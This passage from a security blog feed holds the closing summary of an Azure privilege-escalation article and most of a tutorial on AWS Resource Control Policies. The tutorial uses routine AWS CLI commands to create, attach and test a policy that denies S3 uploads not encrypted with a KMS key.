     &lt;h2 style="font-size: 32px; font-weight: bold; margin: .67em 0;"&gt;Wrap-up&lt;br&gt;&lt;br&gt;&lt;/h2&gt; 
     &lt;p style="font-size: 18px;"&gt;In this post, we've explored some common techniques that threat actors use to move laterally and escalate privileges in Azure by abusing RBAC Roles, further compromising Resources within the tenant. In Part Two, we'll take a closer look at how attackers can exploit Entra roles and Microsoft 365 services for privilege escalation and lateral movement.&lt;br&gt;&lt;br&gt;&lt;/p&gt; 
     &lt;h2&gt;Bottom Line&lt;/h2&gt; 
     &lt;p&gt;Azure privilege escalation succeeds primarily through RBAC misconfigurations: overly broad service principal permissions, excessive Owner or User Access Administrator role assignments, stolen managed identity tokens, and abuse of dynamic groups. Defense requires enforcing principle of least privilege at every role assignment, auditing RBAC configurations quarterly, implementing just-in-time access for sensitive roles, rotating credentials immediately upon compromise, and monitoring for unusual privilege escalation patterns in Azure activity logs.&lt;/p&gt; 
    &lt;/div&gt; 
   &lt;/div&gt; 
  &lt;/div&gt; 
 &lt;/div&gt; 
&lt;/div&gt;    
&lt;img src="https://track-eu1.hubspot.com/__ptq.gif?a=27219020&amp;amp;k=14&amp;amp;r=https%3A%2F%2Fblog.pwnedlabs.io%2Fclimbing-the-azure-ladder-part-1&amp;amp;bu=https%253A%252F%252Fblog.pwnedlabs.io&amp;amp;bvt=rss" alt="" width="1" height="1" style="min-height:1px!important;width:1px!important;border-width:0!important;margin-top:0!important;margin-bottom:0!important;margin-right:0!important;margin-left:0!important;padding-top:0!important;padding-bottom:0!important;padding-right:0!important;padding-left:0!important; "&gt;</content:encoded>
      <category>Azure</category>
      <category>Red Team</category>
      <category>Privilege Escalation</category>
      <category>Lateral Movement</category>
      <pubDate>Tue, 10 Dec 2024 15:23:36 GMT</pubDate>
      <guid>https://blog.pwnedlabs.io/climbing-the-azure-ladder-part-1</guid>
      <dc:date>2024-12-10T15:23:36Z</dc:date>
      <dc:creator>Marios Pappas</dc:creator>
    </item>
    <item>
      <title>Building Security Guardrails with AWS Resource Control Policies</title>
      <link>https://blog.pwnedlabs.io/building-security-guardrails-with-aws-resource-control-policies</link>
      <description>&lt;div class="hs-featured-image-wrapper"&gt; 
 &lt;a href="https://blog.pwnedlabs.io/building-security-guardrails-with-aws-resource-control-policies" title="" class="hs-featured-image-link"&gt; &lt;img src="https://blog.pwnedlabs.io/hubfs/aws_resource_control_policies-1-min(1)-1.png" alt="Building Security Guardrails with AWS Resource Control Policies" class="hs-featured-image" style="width:auto !important; max-width:50%; float:left; margin:0 15px 15px 0;"&gt; &lt;/a&gt; 
&lt;/div&gt; 
&lt;p style="font-size: 18px;"&gt;AWS recently introduced &lt;a href="https://aws.amazon.com/blogs/aws/introducing-resource-control-policies-rcps-a-new-authorization-policy/"&gt;Resource Control Policies&lt;/a&gt; (RCPs), powerful guardrails designed to enhance your organization’s infrastructure security while enabling teams to work flexibly within defined, secure boundaries. In this blog post, we'll cover the essentials of RCPs—from foundational setup to practical use cases like enforcing S3 object encryption and managing OIDC role assumptions with external services like GitLab.&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;Let's get into it!&amp;nbsp;&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt;</description>
      <content:encoded>&lt;p style="font-size: 18px;"&gt;AWS recently introduced &lt;a href="https://aws.amazon.com/blogs/aws/introducing-resource-control-policies-rcps-a-new-authorization-policy/"&gt;Resource Control Policies&lt;/a&gt; (RCPs), powerful guardrails designed to enhance your organization’s infrastructure security while enabling teams to work flexibly within defined, secure boundaries. In this blog post, we'll cover the essentials of RCPs—from foundational setup to practical use cases like enforcing S3 object encryption and managing OIDC role assumptions with external services like GitLab.&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;Let's get into it!&amp;nbsp;&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt;  
&lt;div style="background-color: #f0f4f8; border-left: 4px solid #1a73e8; padding: 20px; margin: 20px 0; font-size: 16px; line-height: 1.6;"&gt;
 &lt;span style="color: #000000;"&gt;&lt;strong&gt;Key Takeaway:&lt;/strong&gt; AWS Resource Control Policies enforce preventive guardrails at the organization level, blocking prohibited actions across all accounts regardless of IAM permissions - critical for preventing privilege escalation, credential exposure, and unauthorized resource modifications at scale.&lt;/span&gt;
&lt;/div&gt; 
&lt;div style="font-size: 18px;"&gt; 
 &lt;h1 style="font-size: 32px;"&gt;&lt;br&gt;Getting Started with RCPs &#x1f4da;&lt;/h1&gt; 
 &lt;p&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p&gt;&lt;span style="font-size: 18px;"&gt;RCPs enable centralized control over the maximum available permissions for resources within your organization. Someone misconfigured a policy allowing external access to your resources? RCPs can protect you. A team forgot to encrypt their data? RCPs can help with that!&amp;nbsp;&lt;/span&gt;&lt;/p&gt; 
 &lt;p&gt;&lt;span style="font-size: 18px;"&gt;If you've ever worked with AWS Service Control Policies (SCPs), you'll pick up on RCPs quickly! They're simply JSON policy documents with nearly identical syntax and capabilities. But there are some important distinctions to be made. Let's take a look.&lt;/span&gt;&lt;/p&gt; 
 &lt;p&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt; 
 &lt;ul&gt; 
  &lt;li&gt;RCPs can only control permissions for a few resource types: 
   &lt;ul&gt; 
    &lt;li&gt;Amazon S3&lt;/li&gt; 
    &lt;li&gt;AWS Key Management Service&lt;/li&gt; 
    &lt;li&gt;AWS Secrets Manager&lt;/li&gt; 
    &lt;li&gt;Amazon SQS&lt;/li&gt; 
    &lt;li&gt;AWS Security Token Service&lt;/li&gt; 
   &lt;/ul&gt; &lt;/li&gt; 
 &lt;/ul&gt; 
 &lt;p&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;ul&gt; 
  &lt;li&gt;RCPs do not support the following condition keys: 
   &lt;ul style="font-size: 18px;"&gt; 
    &lt;li&gt;&lt;code&gt;NotPrincipal&lt;/code&gt;&lt;/li&gt; 
    &lt;li&gt;&lt;code&gt;NotAction&lt;/code&gt;&lt;br&gt;&lt;br&gt;&lt;/li&gt; 
   &lt;/ul&gt; &lt;/li&gt; 
 &lt;/ul&gt; 
 &lt;ul&gt; 
  &lt;li style="font-size: 18px;"&gt;RCPs cannot restrict &lt;span style="color: #d63384;"&gt;kms:RetireGrant&lt;/span&gt;&lt;/li&gt; 
 &lt;/ul&gt; 
 &lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; When actions are performed in AWS, all applicable policies are evaluated in 
 &lt;a href="https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_evaluation-logic_policy-eval-denyallow.html"&gt;this order&lt;/a&gt; to determine whether the action is allowed or denied.
&lt;/div&gt; 
&lt;div style="font-size: 18px;"&gt;
 &amp;nbsp;
&lt;/div&gt; 
&lt;ol&gt; 
 &lt;li style="font-size: 18px;"&gt;Default Deny&lt;/li&gt; 
 &lt;li style="font-size: 18px;"&gt;Resource Control Policy (RCP)&lt;/li&gt; 
 &lt;li style="font-size: 18px;"&gt;Service Control Policy (SCP)&lt;/li&gt; 
 &lt;li style="font-size: 18px;"&gt;Resource-based Policies&lt;/li&gt; 
 &lt;li style="font-size: 18px;"&gt;Identity-based Policies&lt;/li&gt; 
 &lt;li style="font-size: 18px;"&gt;IAM Permissions Boundaries&lt;/li&gt; 
 &lt;li style="font-size: 18px;"&gt;Session Policies&amp;nbsp;&lt;/li&gt; 
&lt;/ol&gt; 
&lt;div style="font-size: 18px;"&gt;
 &amp;nbsp;
&lt;/div&gt; 
&lt;div style="font-size: 18px;"&gt;
 &amp;nbsp;
&lt;/div&gt; 
&lt;div style="font-size: 18px;"&gt; 
 &lt;h2 style="font-size: 32px; font-weight: bold; margin: .67em 0;"&gt;Enabling RCPs in AWS ☁️&lt;/h2&gt; 
 &lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;Before RCPs can be used, you must have &lt;a href="https://docs.aws.amazon.com/organizations/latest/userguide/orgs_introduction.html"&gt;AWS Organizations&lt;/a&gt; set up. Then it's simply a matter of enabling the capability which can be done in the console or via the command line as below.&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;# get aws organizations root id&lt;br&gt;&lt;span style="color: #d63384;"&gt;export aws_root_id=$(aws --profile mgmt organizations list-roots | jq -r '.Roots[].Id')&lt;/span&gt;&lt;br&gt;&lt;br&gt;# enable RCP policies&lt;br&gt;&lt;span style="color: #d63384;"&gt;aws --profile mgmt organizations enable-policy-type --root-id $aws_root_id --policy-type RESOURCE_CONTROL_POLICY&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;{&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; "Root": {&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "Id": "r-xxxx",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "Arn": "arn:aws:organizations::111111111111:root/o-XXXXXXXXXX/r-xxxx",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "Name": "Root",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "PolicyTypes": [&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; {&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "Type": "RESOURCE_CONTROL_POLICY",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "Status": "PENDING_ENABLE"&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ]&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;}&lt;/span&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; After enabling, AWS will attach a default RCP on every Organization Unit (OU) and account within the AWS Organization. This cannot be altered or deleted.
&lt;/div&gt; 
&lt;div style="font-size: 18px;"&gt;
 &amp;nbsp;
&lt;/div&gt; 
&lt;div style="font-size: 18px;"&gt;
 &lt;span style="color: #d63384;"&gt;{&lt;/span&gt;
 &lt;br&gt;
 &lt;span style="color: #d63384;"&gt;&amp;nbsp; "Version": "2012-10-17",&lt;/span&gt;
 &lt;br&gt;
 &lt;span style="color: #d63384;"&gt;&amp;nbsp; "Statement": [&lt;/span&gt;
 &lt;br&gt;
 &lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; {&lt;/span&gt;
 &lt;br&gt;
 &lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; "Effect": "Allow",&lt;/span&gt;
 &lt;br&gt;
 &lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; "Principal": "*",&lt;/span&gt;
 &lt;br&gt;
 &lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; "Action": "*",&lt;/span&gt;
 &lt;br&gt;
 &lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; "Resource": "*"&lt;/span&gt;
 &lt;br&gt;
 &lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; }&lt;/span&gt;
 &lt;br&gt;
 &lt;span style="color: #d63384;"&gt;&amp;nbsp; ]&lt;/span&gt;
 &lt;br&gt;
 &lt;span style="color: #d63384;"&gt;}&lt;/span&gt;
 &lt;br&gt; 
 &lt;p&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;Now that we're all set up, let's create our first policy!&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;h2&gt;Enforcing S3 Object Encryption &#x1f510; &#x1faa3;&lt;/h2&gt; 
 &lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;While S3 now offers default server-side encryption, we can optionally enable encryption with a KMS key. For some organizations, this may be a compliance or regulatory requirement.&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;With RCP, we can ensure that every S3 Object uploaded to an S3 bucket is encrypted with a KMS key and deny those that are not.&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;First, we'll write the JSON-formatted policy and save it as a file e.g. &lt;span style="color: #d63384;"&gt;enforce_s3_object_encryption.json &lt;/span&gt;.&amp;nbsp;&lt;br&gt;&lt;br&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&lt;span style="color: #d63384;"&gt;{&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; "Version": "2012-10-17",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; "Statement": [&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; {&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "Effect": "Deny",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "Principal": "*",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "Action": "s3:PutObject",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "Resource": "*",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "Condition": {&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "Null": {&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "s3:x-amz-server-side-encryption-aws-kms-key-id": "true"&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; ]&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;}&lt;/span&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;Next, we'll create the policy making it available in AWS Organizations. You must run this from your &lt;span style="font-weight: bold;"&gt;AWS Management account&lt;/span&gt;. For clarity, I'll specify the profile "mgmt" when running commands for the Management account. Note, that this will not apply the policy yet.&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&lt;span style="color: #d63384;"&gt;$ aws --profile mgmt organizations create-policy --content file://enforce_s3_object_encryption.json --name enforceS3ObjectEncryption --type RESOURCE_CONTROL_POLICY --description "Denys unencrypted objects being added to S3 buckets"&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;{&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; "Policy": {&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "PolicySummary": {&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "Id": "p-xxxxxxxxxx",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "Arn": "arn:aws:organizations::1111111111:policy/o-xxxxxxxxxx/resource_control_policy/p-xxxxxxxxxx",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "Name": "enforceS3ObjectEncryption",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "Description": "Denys unencrypted objects being added to S3 buckets",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "Type": "RESOURCE_CONTROL_POLICY",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "AwsManaged": false&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; },&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "Content": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Effect\":\"Deny\",\"Principal\":\"*\",\"Action\":\"s3:PutObject\",\"Resource\":\"*\",\"Condition\":{\"Null\":{\"s3:x-amz-server-side-encryption-aws-kms-key-id\":\"true\"}}}]}"&lt;/span&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;Finally, we'll apply the policy to a particular OU. It's best practice to test policies within an OU rather than directly applying it to the Root OU. For this example, I'll target my Dev OU which contains my Dev AWS account. RCPs do not impact the Management account so you'll have to test in a different account that's already joined to your AWS Organization.&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;You'll need the "policy id" from the previous command.&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&lt;span style="color: #d63384;"&gt;$ aws --profile mgmt organizations attach-policy --policy-id p-xxxxxxxxxx --target-id ou-xxxx-xxxxxxxx&lt;/span&gt;&lt;/p&gt; 
&lt;/div&gt; 
&lt;div&gt; 
 &lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;Now that the policy is in place, let's test it! Make sure to test from the AWS account you applied the policy to.&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;If you don't already have an S3 bucket handy, you can quickly create one. Just ensure encryption is set to &lt;span style="color: #d63384;"&gt;Server-side encryption with Amazon S3 managed keys (SSE-S3). &lt;span style="color: #ffffff;"&gt;This is the default configuration when creating a bucket with the command below.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&lt;span style="color: #d63384;"&gt;$ aws --profile dev s3api create-bucket --bucket rcp-enforce-s3-object-encryption-23948234234123&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;{&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; "Location": "/rcp-enforce-s3-object-encryption-23948234234123"&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;}&lt;/span&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;Now we can upload a file to the bucket.&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;# make file&lt;br&gt;&lt;span style="color: #d63384;"&gt;$ touch datafile&lt;/span&gt;&lt;br&gt;&lt;br&gt;#upload to bucket&lt;br&gt;&lt;span style="color: #d63384;"&gt;$ aws --profile dev s3 cp datafile s3://rcp-enforce-s3-object-encryption-23948234234123/&lt;/span&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;Upon doing so you should be denied with an error message similar to the below:&lt;br&gt;&lt;br&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&lt;span style="color: #d63384;"&gt;upload failed: ./datafile to s3://rcp-enforce-s3-object-encryption-23948234234123/datafile An error occurred (AccessDenied) when calling the PutObject operation: User: arn:aws:iam::111111111111:user/dev_user is not authorized to perform: s3:PutObject on resource: "arn:aws:s3:::rcp-enforce-s3-object-encryption-23948234234123/datafile" with an explicit deny in a resource control policy&lt;/span&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;Nice! We've successfully blocked uploading objects to S3 when a KMS key is not used for encryption.&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;We can quickly create a KMS key and update our bucket to validate that objects encrypted with a KMS key can be uploaded.&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&lt;span style="color: #d63384;"&gt;$ aws --profile dev kms create-key&amp;nbsp;&lt;/span&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&lt;span style="color: #d63384;"&gt;{&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; "KeyMetadata": {&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "AWSAccountId": "319192286947",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "KeyId": "44d55009-ccb8-4beb-8e2c-9066fe3aa0d5",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "Arn": "arn:aws:kms:us-east-1:1111111111:key/44d55009-ccb8-4beb-8e2c-9066fe3aa0d5",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "CreationDate": "2024-11-14T17:37:37.540000-07:00",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "Enabled": true,&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "Description": "",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "KeyUsage": "ENCRYPT_DECRYPT",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "KeyState": "Enabled",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "Origin": "AWS_KMS",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "KeyManager": "CUSTOMER",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "CustomerMasterKeySpec": "SYMMETRIC_DEFAULT",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "KeySpec": "SYMMETRIC_DEFAULT",&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "EncryptionAlgorithms": [&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "SYMMETRIC_DEFAULT"&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ],&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "MultiRegion": false&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;&amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;}&lt;/span&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;Reference the &lt;span style="color: #d63384;"&gt;KeyId&lt;/span&gt; from the previous command:&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&lt;br&gt;&lt;span style="color: #d63384;"&gt;$ aws --profile dev s3api put-bucket-encryption --bucket rcp-enforce-s3-object-encryption-23948234234123 --server-side-encryption-configuration '{"Rules": [{"ApplyServerSideEncryptionByDefault": {"SSEAlgorithm": "aws:kms", "KMSMasterKeyID": "44d55009-ccb8-4beb-8e2c-9066fe3aa0d5"}}]}&lt;/span&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;Let's try to upload the object again.&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&lt;span style="color: #d63384;"&gt;$ aws --profile dev s3 cp datafile s3://rcp-enforce-s3-object-encryption-23948234234123/&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&lt;span style="color: #d63384;"&gt;upload: ./datafile to s3://rcp-enforce-s3-object-encryption-23948234234123/datafile&lt;/span&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;Nice! The file was successfully uploaded.&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;If you have &lt;a href="https://docs.aws.amazon.com/awscloudtrail/latest/userguide/logging-data-events-with-cloudtrail.html"&gt;CloudTrail with S3 data events&lt;/a&gt; enabled you'll be able to see the access denied message from our original attempt.&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; 
